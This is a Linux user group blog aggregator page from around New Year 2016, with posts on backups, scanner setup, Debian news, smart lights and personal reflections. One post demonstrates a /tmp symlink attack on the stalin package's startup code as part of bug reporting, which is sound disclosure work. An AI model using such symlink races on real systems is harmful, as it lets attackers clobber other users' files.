News aggregator

Modern consumerism: using HD YouTube reviews of 4K TVs to help choose.

Planet SurreyLUG - Wed, 06/01/2016 - 18:52

Modern consumerism: using HD YouTube reviews of 4K TVs to help choose.

As it is, my vote went with Samsung this time around.  Sorry Panasonic/Sony/etc…


The post Modern consumerism: using HD YouTube reviews of 4K TVs to help choose. appeared first on life at warp.

Categories: LUG Community Blogs

Really love the #LibreOffice 5 #UI. So clean.

Planet SurreyLUG - Wed, 06/01/2016 - 11:30

Really love the #LibreOffice 5 #UI.  So clean.

The community has done a great job on this wonderful, #free, #opensource software.

The post Really love the #LibreOffice 5 #UI. So clean. appeared first on life at warp.

Categories: LUG Community Blogs

Bring-A-Box, Saturday 9 Jan 2016, Lion Brewery, Ash

Surrey LUG - Sun, 03/01/2016 - 15:08
Start: 2016-01-09 12:00 End: 2016-01-09 12:00

We have regular sessions on the second Saturday of each month. Bring a 'box', bring a notebook, bring anything that might run Linux, or just bring yourself and enjoy socialising/learning/teaching or simply chilling out!

This month's meeting is at the Lion Brewery Pub in Ash, Surrey.

New members are very welcome. We're not a cliquey bunch, so you won't feel out of place! Usually between 15 and 30 people come along.

Categories: LUG Community Blogs

Steve Engledow (stilvoid): TODO

Planet ALUG - Sat, 02/01/2016 - 22:35

As last year, here's this year's TODO as a diff with last time.

New Year's Resolutions
  • Read even more (fiction and non-fiction)

    I'm certainly doing plenty of this now :)

  • Write at least one short story

  • Write some moreand release at least one games

  • Go horse riding

  • Learn some more turkish

  • Keep learning languages

    I've been having a good time learning with Duolingo recently and have found learning more than one language is helping recall in all of them.

  • Play a lot more guitar

    Lots more guitar played in 2015 than 2014 and it ought to continue through this year.

  • Lose at least a stone (in weight, from myself)

    Utter fail on this one. I've put weight on. Efforts shall be redoubled and all that.

  • Receive a lot less email

    I'm gettting a lot less email these days.

  • Blog more

    I'd say it's been about the same but I'm happy with that.

  • Write more software

  • Release more software

    Definitely nailed these two.

  • Be a better husband and father

    Pfft. I'm the best, natch.

  • Improve or replace the engine I use for my blog

    Much happier with how this works now.

  • Contribute more to existing open source projects

  • Pass all of the AWS certification exams

    Especially as I'm going to be working there this year ;)

Categories: LUG Community Blogs

Ubuntu Simple Scan HP All in One

Planet SurreyLUG - Sat, 02/01/2016 - 12:14

At home we have an HP OfficeJet J6410 printer, which has worked brilliantly for years. Unlike every previous printer we've owned, this printer sits happily on our network and seems perfectly content to be used only very occasionally, whereon it willingly responds with decent quality prints and scans.

I have set up the printer with a static IP address and so the scanning is managed via the web interface, whereon the scanned image opens a new tab in the browser, enabling you to save to wherever.

This printing and scanning Nirvana hit a road bump today, when it just instantly went to "Scan done" and failed to actually do anything. Rebooting the laptop, the printer and clearing temporary internet files all failed to resolve the problem, as did changing from Chrome to Firefox.

In desperation I tried running Ubuntu Simple Scan, but predictably enough it did not find the printer. A quick Internet search took me to this excellent Ubunutu community page.

I opened a terminal and typed:

$ hp-makeuri CUPS URI: hp:/net/Officejet_J6400_series?ip= SANE URI: hpaio:/net/Officejet_J6400_series?ip= HP Fax URI: hpfax:/net/Officejet_J6400_series?ip= Done.

I then typed (taking the SANE URI from above):

$ simple-scan hpaio:/net/Officejet_J6400_series?ip=

And it worked perfectly! Flushed with success I read on to see how to make this a permanent fixture, and it turned out that all I needed to do was configure the CUPS URI for the printer itself (it was previously set to something like socket://

$ vim /etc/cups/ DeviceURI hp:/net/Officejet_J6400_series?ip=

And now simply running Ubuntu Simple Scan works perfectly.

Thank you Ubuntu community!

Categories: LUG Community Blogs

Steve Kemp: Restoring my system .. worked

Planet HantsLUG - Sat, 02/01/2016 - 08:52

A while back I wrote about some issues with converting a two-disk RAID system to a one-disk system, but just to recap:

  • We knew were were moving to Finland.
  • The shared/main computer we used in the UK was old and slow.
  • A new computer in Finland would be more expensive than it should be.
  • Equally transporting a big computer from the UK would also be silly.

In the end we bought a small form-factor PC, with only a single drive and I moved one of the two drives from the old machine into it. Then converted it to run happily with only a single drive, and not email every day to say "device missing".

So there things stood, we had a desktop with a single drive, and I ensured that I took full daily backup via attic.

Over Chrismas the two-year old drive failed. To the extent I couldn't even get it to be recognized by the BIOS, and thus couldn't pull data off it. Time to test my backups in anger! I bought a new drive, installed a minimal installation of the Jessie release of Debian onto the system, and then ran:

cd / .. restore latest backup ..

Two days later I'd pulled 1.3Tb over the network, and once I fixed up grub, /etc/fstab, and a couple of niggles it all just worked. Rebooted to make sure the temporary.home hostname, etc, was all gone and life was good.

Restored backup! No errors! No data-loss! Perfect!

The backup-script I use every day was very very good at making sure nothing was missed:

attic create --stats --checkpoint-interval=7200 attic@${remote}:/attic/storage::${host}-$(date +%Y-%m-%d-%H) --exclude=/proc \ --exclude=/sys \ --exclude=/run \ --exclude=/dev \ --exclude=/tmp \ --exclude=/var/tmp \ --exclude=/var/log \ /

In other news I published my module for controlling the new smart lights I've bought

Categories: LUG Community Blogs

Mick Morgan: a bad way to end the year

Planet ALUG - Fri, 01/01/2016 - 19:41

Sadly, I read today that Ian Murdock, the “Ian” in Debian, died on Monday, 28 December 2015. He was only 42 years old. Various reports indicate that he had been distressed for some time before his death. The tweets reportedly from Murdock’s twitter account shortly before his death are very disturbing.

Murdock’s contribution to the FLOSS community was immense. The operating system he created with “Deb”, Debra Lynn, his then girlfriend, is the foundation upon which much of today’s internet infrastructure is built. Ubuntu, one of the most popular desktop linux distros, is itself built upon debian. This blog, and all of my web, mail and other servers is built upon debian. His legacy will endure.

Murdock left a wife and two young children. He died much, much, too young.

Categories: LUG Community Blogs

Rebooting into a New Year

Planet SurreyLUG - Fri, 01/01/2016 - 18:12

I used to typically find New Year celebrations a mixed blessing.

Sometimes they can remind you of all the good, great, sad and bad events of the concluding year, in a way that makes you grateful to be alive and with loved ones.  Other times, the gratitude can give way to pensiveness, reflection and perhaps also regret.

Having One’s Cake

This new year (2015 into ’16) was a little different, though.  Following a very busy but also very rewarding year, the period over Christmas gave me opportunity for reflection and redirection.

2015 was a “solid” year.  And by that, I basically mean unrelenting.  It was a year without a single week off for annual leave, which proved extremely tiring as the autumn months came around.  At the same time, after a gruelling late summer with web projects “galore”, things started a gentle easing towards the end of the year.

It wasn’t to last, but amidst the business of work projects was also a number of social engagements which provided plenty of entertainment and some light relief!  All of which was enjoyed on social media, of course (want to connect? Find me on whatever you use).

Always room for a little freshly-made cake, right?

Three Directions

Naturally, life eventually returns to matters of work, which I love.  This year, my focus is on quality and quantity.  Well, if you can have both, why not!

Quality First

My belief is always that there is no substitute for quality [1].  I apply this principle to all the work my company, Warp Universal, is commissioned for by clients, and to all hosting services too.  I’m currently working on some ideas to further guarantee the highest quality project management and delivery to clients, whatever the challenges!

Support Always

Providing quality support is paramount in my eyes.  I have always been proud to offer good support to our customers, but this hasn’t been without its challenges (being forced to quickly reconsider data storage, in the wake of Schrems vs Facebook, being the most recent).

Building Up Organically

Managing a micro business is no mean feat, as anyone who has done so will testify.  At one time, I considered growth to be the largest (and perhaps only) signifier of a successful business.  But this is false, and I’m glad I realise that now.  Many struggling businesses are those that have grown too quickly, without enough consideration, or without the ability to back-off sales satisfactorily.  It’s my intention to grow the business, organically, sustainably and vertically.

2016 is looking to be a very promising year for Warp Universal

Pushing Forward

Alongside work, 2016 is looking to be a great year for my surfing.  Not because the weather patterns look particularly convivial to it, nor that my free time is that much greater than it was before.  It’s simply that I want to surf more in 2016, and I’m in a position to make it happen.

Along with that, it’s definitely a year to align my media production with media consumption.  A great love of mine is music, and work commitments have often meant I’ve lost touch with newer acts on the scene.  I look forward to reconnecting via a music subscription service.

Take Off!

The year ahead is an interesting prospect.  365 days remaining from today (leap year, remember!) to achieve so many goals.  And not forget that life is short, so a little fun should be had also.


[1] A phrase once used by my Grandmother.

The post Rebooting into a New Year appeared first on life at warp.

Categories: LUG Community Blogs

Chris Lamb: Free software activities in December 2015

Planet ALUG - Thu, 31/12/2015 - 11:05

Here is my monthly update covering a large part of what I have been doing in the free software world (previously):


My work in the Reproducible Builds project was also covered in more depth in Lunar's weekly reports (#31, #32, #33, #34).


This month I have been paid to work 12 hours on Debian Long Term Support (LTS). In that time I did the following:

  • Issued DLA 363-1 for libphp-phpmailer fixing a header injection vulnerability.
  • Issued DLA 365-1 for foomatic-filters correcting a shell injection vulnerability.
  • Issued DLA 369-1 for pygments fixing an issue shell injection vulnerability.
  • Issued DLA 374-1 for cacti to fix an SQL injection vulnerability.
  • Did some futher investigation of CVE-2011-5325 in busybox.
  • python-django (1.9) — New upstream release.
  • redis (3.0.6) — New upstream stable release. I additionally backported this package to Debian stable.
  • redis (3.2~rc1) — Uploaded upstream's "testing/next" branch to experimental for testing.
  • gunicorn (19.4.1) — New upstream release.
FTP Team

As a Debian FTP assistant I ACCEPTed 45 packages: apt-show-source, dompurify.js, groonga, haskell-cryptol, initramfs-tools, iprange, jailer, jquery-slugify.js, jquery-ui-touch-punch.js, koji, lazy-object-proxy, libanyevent-termkey-perl, libjs-favico.js, liblwp-useragent-chicaching-perl, librdf-ns-curated-perl, libterm-termkey-perl, libvpx, lua-ansicolors, lwn4chrome, mimeo, node-isstream, onionbalance, osrm, profitbricks-sdk-python, pygeoif, pypi2deb, python-getdns, python-inflect, python-keyutils, python-nmea2, python-pika, qtip2.js, ruby-clockwork, ruby-innertube, ruby-joiner, ruby-middleware, ruby-pundit, ruby-rails-assets-jquery-nicescroll, ruby-rails-tokeninput, sqlacodegen, tails-installer, taskd, typeahead.js, udiskie & webcamoid and REJECTed 4.

Bugs filed Patches contributed

I also filed FTBFS bugs against acpid, android-platform-frameworks-base, antlr3, artemis, beignet, bisonc++, bobcat, bustle, cargo, checkbox-ng, code2html, cplay, datanommer.commands, dcmtkpp, debci, diffutils, diod, django-restricted-resource, docker-libkv, doomsday, dvdauthor, dwww, elasticsearch, elki, flask-script, freeipa, fso-frameworkd, funny-manpages, ggcov, ghc-mod, gmpc-plugins, gparted, gs-collections, guacamole-server, guncat, haskell-concrete-typerep, haskell-geniplate, haskell-nats, haskell-x509-util, hawtbuf, heimdal, htsjdk, inspircd, jboss-xnio, jenkins-winstone, jpeginfo, jruby-openssl, kaffeine, kdbg, ktp-accounts-kcm, kuser, libcommons-cli-java, libcommons-openpgp-java, libconfig-model-lcdproc-perl, libdata-faker-perl, libexplain, libgettext-commons-java, libgtk2-ex-printdialog-perl, libmoops-perl, libnet-frame-perl, libsendmail-milter-perl, libupnp, libuv, libvpx, liwc, m4, maven2, meep-mpich2, nagios-plugin-check-multi, natlog, netpipe, ocserv, ogre-1.8, orthanc-dicomweb, perspectives-extension, php-mail, php-pinba, phpseclib, pkg-haskell-tools, plastimatch, plexus-compiler, plexus-compiler-1.0, python-acme, python-crontab, python-cs, python-csscompressor, python-debian, python-distutils-extra, python-django-compressor, python-django-openstack-auth, python-django-tagging, python-pygit2, python-pyramid, python-pywcs, python-releases, python-shade, python-statsd, python-tasklib, python-tasklib, python-webm, python-websockets, regina-normal, rinetd, roboptim-core, rpm2html, rpm2html, ruby-factory-girl, ruby-fogbugz, ruby-i18n-inflector, ruby-loofah, ruby-protected-attributes, ruby-rack-contrib, ruby-rufus-scheduler, ruby-sanitize, ruby-sidetiq, ruby-sinatra, scsh-0.6, shogun, sleekxmpp, slugimage, spatial4j, sqwebmail-de, trac-announcer, ttt, txaws, umbrello, wine-gecko-2.21, xboxdrv, xfonts-wqy, xserver-xorg-video-openchrome, yorick & yoshimi.

Categories: LUG Community Blogs

Ubuntu Empathy Microsoft Skype For Business Lync 2013 Client

Planet SurreyLUG - Thu, 31/12/2015 - 10:23

I wrote recently regarding using Microsoft Skype for Business / Lync 2013 in Pidgin, this has worked really well for our Lubuntu 14.04 clients, running Pidgin. Having some time off work I decided to try and get this working also on my Ubuntu 14.04 laptop.

The problem is that Ubuntu uses Empathy by default, rather than Pidgin, but I found that the steps were virtually identical (cut and pasted from my earlier post):

Download and Dependencies
  1. Install build tools if you don't already have them:

    sudo apt-get install build-essential

  2. Install checkinstall if you don't already have it:

    sudo apt-get install checkinstall

  3. Download source files.

  4. Extract source:

    tar -xvvzf pidgin-sipe-1.20.1.tar.gz

  5. Change into source directory:

    cd pidgin-sipe-1.20.1

  6. Read carefully the README file in the source directory.

  7. Install dependencies listed in the README:

    # apt-get install libpurple-dev libtool intltool pkg-config libglib2.0-dev libxml2-dev libnss3-dev libssl-dev libkrb5-dev libnice-dev libgstreamer0.10-dev

These dependencies may change over time, and your particular requirements may be different from mine, so please read the README and that information should take precedence.

Compile and Install

Lastly, as an ordinary user, you should now be able to compile. If it fails at any stage, simply read the error and install the missed dependency.

$ ./configure --prefix=/usr $ make $ sudo checkinstall

I found checkinstall was pre-populated with sensible settings, and I was able to continue without making any changes. Once complete a Debian package will have been created in the current directory, but it will have already been installed for you.

Add Account in Empathy

Still in a terminal type:

$ empathy-accounts

Then simply click the + button to add an account, select the Account Type "sipe", enter your email address in the Account field and click Log-in. Then highlight the newly created account and Edit Connection Preferences, opening up the Advanced section. I completed the following:

  • Login: enter your Skype for Business email address
  • Password
  • Server: leave blank
  • Transport: auto
  • User agent: UCCAPI/15.0.4420.1017 OC/15.0.4420.1017
  • Authentication: auto

And that really was all that there was to it.

Categories: LUG Community Blogs

Debian Bits: Debian mourns the passing of Ian Murdock

Planet HantsLUG - Wed, 30/12/2015 - 19:15

With a heavy heart Debian mourns the passing of Ian Murdock, stalwart proponent of Free Open Source Software, Father, Son, and the 'ian' in Debian.

Ian started the Debian project in August of 1993, releasing the first versions of Debian later that same year. Debian would go on to become the world's Universal Operating System, running on everything from embedded devices to the space station.

Ian's sharp focus was on creating a Distribution and community culture that did the right thing, be it ethically, or technically. Releases went out when they were ready, and the project's staunch stance on Software Freedom are the gold standards in the Free and Open Source world.

Ian's devotion to the right thing guided his work, both in Debian and in the subsequent years, always working towards the best possible future.

Ian's dream has lived on, the Debian community remains incredibly active, with thousands of developers working untold hours to bring the world a reliable and secure operating system.

The thoughts of the Debian Community are with Ian's family in this hard time.

His family has asked for privacy during this difficult time and we very much wish to respect that. Within our Debian and the larger Linux community condolences may be sent to where they will be kept and archived.

Categories: LUG Community Blogs

Steve Kemp: I joined the internet of things.

Planet HantsLUG - Wed, 30/12/2015 - 07:03

In my old flat I had a couple of simple radio-controlled switches, which allowed me to toggle power to a pair of standing lamps - one at each side of the bed. This was very lazy, but also really handy and I've always been curious about automation..

When it comes to automation there seems to be three main flavours:


The original standard, with stuff produced by many vendors and good Linux support.

X10 supports two ways of sending/receiving commands - over the electrical wiring, and over RF.


This is the newcomer, which despite that seems to be well-supported and extensible. It allows "measurements" to be sent/received in addition to the broadcast of events like "switch on", and "switch off".

Other systems - often lighting-centric

There are toy-things like the previously noted power-controlling things, there are also stand-alone devices from people like Philips with their philips hue system, but given how Philips recently crippled their devices to disable third-party bulbs I've no desire to use them.

One company caught my eye though, Osram make a smart lightbulb and mini-hub to work with it.

So I bought one of the osram lightify systems, consisting of a magic box and a pair of lightbulbs. The box connects to your wifi, and gets an IP address. The IP address is then used by the application on your mobile phone (i.e. the magic box does the magic, not the bulbs). The phone application can be used to trigger "on", "off", "dim", "brighter", and the various colour-changing commands, as you would expect.

You absolutely must use the phone-based application to do the setup, but after that the whole point was that I could automate things. I wanted to be able to setup my desktop computer to schedule events, and started hacking.

I've written a simple Perl module to let me discover bulbs, and turn them off and on. No doubt it'll be on CPAN in the near future, once I can pick a suitable name for it:

$ ol --bridge= --list hall MAC:8418260000d9c70c RGBW:255,255,255,255 STATE:On kitchen MAC:8418260000cb433b RGBW:255,255,255,255 STATE:On $ ol --bridge= --off=kitchen $ ol --bridge= --list hall MAC:8418260000d9c70c RGBW:255,255,255,255 STATE:On kitchen MAC:8418260000cb433b RGBW:255,255,255,255 STATE:Off

The only niggle was the fiddly pairing, and the lack of any decent documentation. The code I wrote was loosely based on the python project python-lightify written by Mikael Magnusson. Also worth noting that the bridge/magic-box only exposes a single port so you can find the device on your VLAN by nmapping for port 4000:

$ nmap -v -p 4000

The device doesn't seem to allow any network setup at all - it only uses DHCP. So you might want to make sure it gets assigned a stable IP.

Anyway I'm going to bed. When I do so I'll turn the lights off with my mobile phone. Neat.

In the future I will look at more complex automation, and I think Z-wave is the way I'll go. Right now I'm in a rented flat so replacing wall-switches, etc, is something I can't do. But the systems I've looked at seem neat, and this current setup will keep me amused for several months!

Categories: LUG Community Blogs

Steve Engledow (stilvoid): One for the Vortex Manipulator

Planet ALUG - Mon, 28/12/2015 - 00:27

Things I wish someone had told me before / I would send in a message to my earlier self through a time portal / I will pass on to my child(ren):

  1. Do not form pointless habits; they will hurt you eventually.

    This includes, but is not limited to: knuckle cracking, nail biting, and the annoying compulsion to ensure that things are arranged symmetrically.

  2. Make lists, not war

    a. If Workflowy doesn't exist yet, invent it.

    b. Make lists of everything. Lists are cool.

  3. Drink more water.

    • When out drinking, switch to water an hour before you intend to go home.

    • Drink more water at all other times too.

  4. If you have any debts, focus on those first but not to the total exclusion of entertainment.

  5. If there's a way to do it without incurring debts, do it that way.

  6. Learn another language as early as possible; it gets considerably harder the longer you wait.

  7. If this message came through a time portal, figure out how it works and tell people!

  8. Read more. Fiction and non-fiction.

  9. Write more. Again, it doesn't matter what, just write.

  10. Accept that not everything will add up to a nice even number.

  11. Practice things more. A modicum of latent talent is not enough to compensate for a lack of practice.

    This applies most specifically to music.

    Also, use "latent" and "talent" together more often.

  12. When someone tells you you're great, remember it and keep the memory ready for...

  13. When someone criticises you or puts you down, don't let it upset you. Take away any message that could help you improve but don't dwell on the negativity.

  14. Expect more from yourself than from other people.

  15. Play more group sports.

  16. Know when to stop. Like this.

Categories: LUG Community Blogs

Steve Kemp: Some things are universal?

Planet HantsLUG - Sun, 27/12/2015 - 07:03

I don't often do retrospectives, but this year has been an unusual one for me, as I moved to Finland almost six months ago.

The topic has come up in conversation a lot over the past few months, so when people ask me what I think I can give some simple answers without too much thought. Here's a brief summary.

There are some obvious changes:

The Traffic

The traffic drives on the right-hand side of the roads, which took a bit of getting used to, but isn't a huge surprise as I've travelled in Europe in the past. There aren't so many countries that drive on the left after all so most people probably wouldn't even notice this as odd.

When it comes to traffic one thing nice about Helsinki is that most junctions are "zebra crossings". Sure they don't have flashing lights, but they have shaded areas, and pedestrians have right of way.

As for transport the city of Helsinki has local trains, trams, buses and taxis. The trams and buses all use the same card for payment so transport is integrated very well. I buy a time-based card, spending about €50 for a month of unlimited travel. If you prefer you may add euros to your card and pay for distinct journeys - but that works out more expensive if you travel twice, or more, a day.

The Money

Finland uses the Euro these days, having switched from the Finnish markka in 2002.

Enough said.

Costs are largely in line with what I'd expect: Cigarettes are cheap, beer is expensive. Some things are very expensive, some things are very cheap. Largely the expensive things are those that are imported. It is a very small country after all.

The Language

Finnish is .. complex.

But I've not struggled too much. Mostly I can buy what I want without difficulty. There are weird exceptions though for example I went out to buy soup one day and had to return carrying only shame and disappointment: I can't read the language on the tins and what I thought was soup turned out to be a can of chopped tomatoes.

Food is good though, and available easily (!!). The only significant surprise when it comes to shopping is that loose goods must be weighed yourself. You pick up a bunch of bananas, take it to the scales, press the button that has a picture of a banana on it, and it prints out a label you attach to them - at the till the cashier will scan the label and charge you. If you forget, or don't know how to do it they'll tut and complain.

In daily life I use two phrases frequently and they are sufficient for communcation:

  • "minua haluan ... kahvi|kakku|olut"
    • "I want ... coffee|cake|beer".
  • "kiitos"
    • "Thanks"

Usually people speak to me in English, which is a little annoying as it means I'm not learning as much as I could. But that said over the past few months I've had proper conversations entirely in Finnish with shop-keepers, and similar. So I'm getting better.

The Culture

Finnish people are friendly, but terse. That's the reputation.

The Finnish people are alcoholics, and have high rates of suicide. Also the reputation.

Finally we know that the Finnish people consume more coffee than the rest of the world.

All those things are true, but they're not enough by far to describe the people. Obviously they're all different, and we have a lot of people from other parts of the world here too - Russians, Asians, Somalians. So culture is complex .. but markedly different than in the UK.

I could write more about this, but I think for the moment I'll just draw a line under culture and say that I'm enjoying the interactions with people here, and while many things are slightly "off", it's not bad. Just different.

Also saunas are fun. I've never had any qualms about being naked with strangers, so I don't really understand why Americans, and others, find this so difficult/surprising. But yeah, saunas are great.

Things that Finland is known for internationally: The invention of the molotov cocktail, rally-driving, hockey, world's strongest man, Moomins, Tom of Finland, Salmiakki.

The Weather

Not too hot. Not too cold. But that's largely because I'm one of those "hot" people who doesn't really get cold even at the best of times.

My ideal temperatures are about 13°C. My wife prefers 15°C, or more. We don't fight any more. Mostly.

Winter is apparently full of snow, but this year has been poor. We had the first snowfall yesterday, here in Helsinki, and we woke this morning a blanket of snow about two inches high. It looks pretty.

The biggest thing about weather in Finland is the constant darkness in winter, and the constant sun in Summer. In Summer there were like 22 hours of sunlight a day which made sleeping hard when we moved into our flat - with no curtains.

In winter it feels like there is 20 minutes of sunlight a day. It's not that bad here in the south, although I think it is something like five hours and less in the north. I've never had any real issues with depression, or similar: People have good days and bad days, I'd generally be "OK" or "great". In the darkness? I've been grumpy at colleagues, I've made bad choices, I've lapsed attention. I'm not sure I can blame it on the weather, or my reaction to the weather, but I know I've not been as "happy" as I "should".

It requires effort to be enthusiastic in a way I've never experienced before. Thankfully once I (slowly) realized this I took action and I think I'm good now.

Unlike the UK the buildings here are relatively modern. I think that's the biggest contributing factor to how houses are "warm". Houses have all been built in the last 50-100 years, so you have proper insulation. Even though it might be very very cold outdoors indoors you can be naked without heating. Try that in the UK and you might freeze in some of the older leakier houses!

You do have to laugh, though, when people point out "the oldest pub" in the city though. Where I come from if I pub isn't 500+ years old you wouldn't give it a seconds thought - places like The Golden Fleece, etc.

I could write more. I probably should. But it has been an interesting year, and although there are things I miss about the UK, and Edinburgh specifically, I have no regrets. I'm glad I came.

What triggered this post? I said "Some things are universal" to my wife, when I saw a child riding a bicycle they'd obviously just received for Christmas. Her reaction "No Finnish person would buy a bicycle at Christmas - they'd expect too much snow!". So perhaps it was another immigrant family.

Christmas bicycles universal, or not, it doesn't really matter.

Categories: LUG Community Blogs

Monthly meeting December 2015

West Yorkshire LUG News - Fri, 25/12/2015 - 14:37

Those of you who are still active after the weekends festivities can come to the last meeting of 2015 and share in the WYLUG year end. Monday 28 December 2015 at 7pm in the Lord Darcy.

Mick Morgan: merry christmas 2015

Planet ALUG - Thu, 24/12/2015 - 16:17

It’s trivia’s birthday again (9 years old today!), so I just have to post to wish my readers (both of you, you know who you are….) a Merry Christmas and a happy New Year. Much has happened over the last year or so which has distracted me from blogging (life gets in the way sometimes) but I feel my muse returning so I may write more in the new year. Meanwhile, take a look at Alan Woodward’s update to Scott Culp’s 2000 essay “10 Immutable Laws Of Security” which he posted on the BBC site. It is called
have yourself a merry cyber-safe Christmas.

I’ll drink to that.

Categories: LUG Community Blogs

Steve Kemp: Finding and reporting trivial security issues

Planet HantsLUG - Tue, 22/12/2015 - 15:20

This week I'll be mostly doing drive-by bug-reporting.

As with last year we start by using the Debian Code Search, to look for obviously broken patterns such as "system.>./tmp/.*"

Once we find a fun match we examine the code and then report the bugs we find. Today that was stalin which runs some fantastic things on startup:

(system "uname -m >/tmp/QobiScheme.tmp") (system "rm -f /tmp/QobiScheme.tmp"))

We can exploit this like so:

$ ln -s /home/steve/HACK /tmp/QobiScheme.tmp $ ls -l /home/steve/HACK ls: cannot access /home/steve/HACK: No such file or directory

Now we run the script:

$ cd /tmp/stalin-0.11/benchmarks $ ./make-hello

And we see this:

$ ls -l /home/steve/HACK -rw-r--r-- 1 steve steve 6 Dec 22 08:30 /home/steve/HACK

For future reference the lsat looks horrifically bad - it writes multiple times to /tmp/lsat1.lsat and although it tries to detect races I'm not convinced. Something to look at in the future.

Categories: LUG Community Blogs

Chris Lamb:

Planet ALUG - Sat, 19/12/2015 - 12:56 is my new hosted utility to make it easier and cleaner to test your Debian packages on the Travis CI continuous integration platform, without duplicating configuration or scripts across mulitiple repositories.

You can read more about how it works, as well as follow the quick setup instructions.

As ever, patches welcome.

Categories: LUG Community Blogs
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